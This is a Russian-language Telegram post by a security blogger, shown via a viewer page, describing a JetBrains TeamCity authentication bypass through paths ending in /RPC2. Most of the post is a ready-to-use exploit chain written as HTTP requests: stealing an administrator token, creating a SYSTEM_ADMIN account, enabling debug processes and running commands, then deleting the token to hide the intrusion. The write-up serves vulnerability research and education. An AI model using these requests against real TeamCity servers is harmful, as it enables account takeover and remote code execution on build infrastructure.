TGViewer
Monkey Hacker Monkey Hacker @monkey_hacker · 785 subscribers
Post #86 3.76K
Token that gives me power

Наверно кто-то слышал про новую проблему в JetBrains TeamCity, связанная с RPC2

В целом стоит начать, что TeamCity используется для автоматизированной сборки и тестирования ПО. А он написан на Java

Ребята нашли интересный дифф в методе XmlRpcController.getPathSuffix. Точнее был прикол, связанный с wildcard path. Плюс TeamCity использует фреймворк Spring, а там существует интерцептор, который позволяет модифицировать входящие HTTP-запросы (thx to riven). По этим и другим причинам, любой входящий HTTP-запрос, имеющий путь /**/RPC2, не будет подвергаться проверке аутентификации. А значит мы можем использовать API-ручки для получения токенов почти любых пользователей и для дальнейшего создания собственного юзера.

/app/rest/users/<userLocator>/tokens/<tokenName>

Отсюда мы имеем следующий сценарий

Получаем токен администратора

POST /app/rest/users/id:1/tokens/RPC2

С его помощью, мы теперь можем создать пользователя с админскими правами

POST localhost:8111/app/rest/users -H "Content-Type: application/json" --data "{\"username\": \"monkey1\", \"password\": \"monkey\", \"email\": \"monkey\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.eWaBWGhGSFBZVHB4WvAxNEptVmhQUkkxN0VF.MjhmYTY2MjUtNjZhNy00OTQ0LTk4LmItYzI1N2Q3MjIwMzE2"

Но, мы можем пойти дальше и докрутить до RCE. Первым делом включаем дебаг (токен здесь также потребуется)

POST /admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true

Не забываем все это применить к текущему конфигу

POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties

И теперь мы имеем возможность исполнять команды

POST /app/rest/debug/processes?exePath=id


Не забываем удалять токен

DELETE /app/rest/users/id:1/tokens/RPC2
  • 🌭 7
  • 👍 4
  • ❤ 3
  • 🗿 2
More from @monkey_hacker
  1. Aug 28, 2024First hop, second hop Как-то увидел понятие Double Hop в Kerberos. Думал, что ничего в нем…
  2. Apr 10, 2024Вопрос собесов - один из самых популярных. Что надо знать, как собесят и как собесить - по…
  3. Apr 10, 2024У меня тут есть знакомый, который решил рассказывать про ИБ с перспективы менеджера, поэто…
  4. Apr 8, 2024Kubectl apply Йо, сегодня я принес несколько ссылочек, где можно почитать про работу разли…
  5. Jan 16, 2024Oh yes, ping pong Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял…
  6. Dec 31, 2023Пора и мне сказать что-то ✨ В этом году я очень старался повысить свои навыки, а вы могли…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →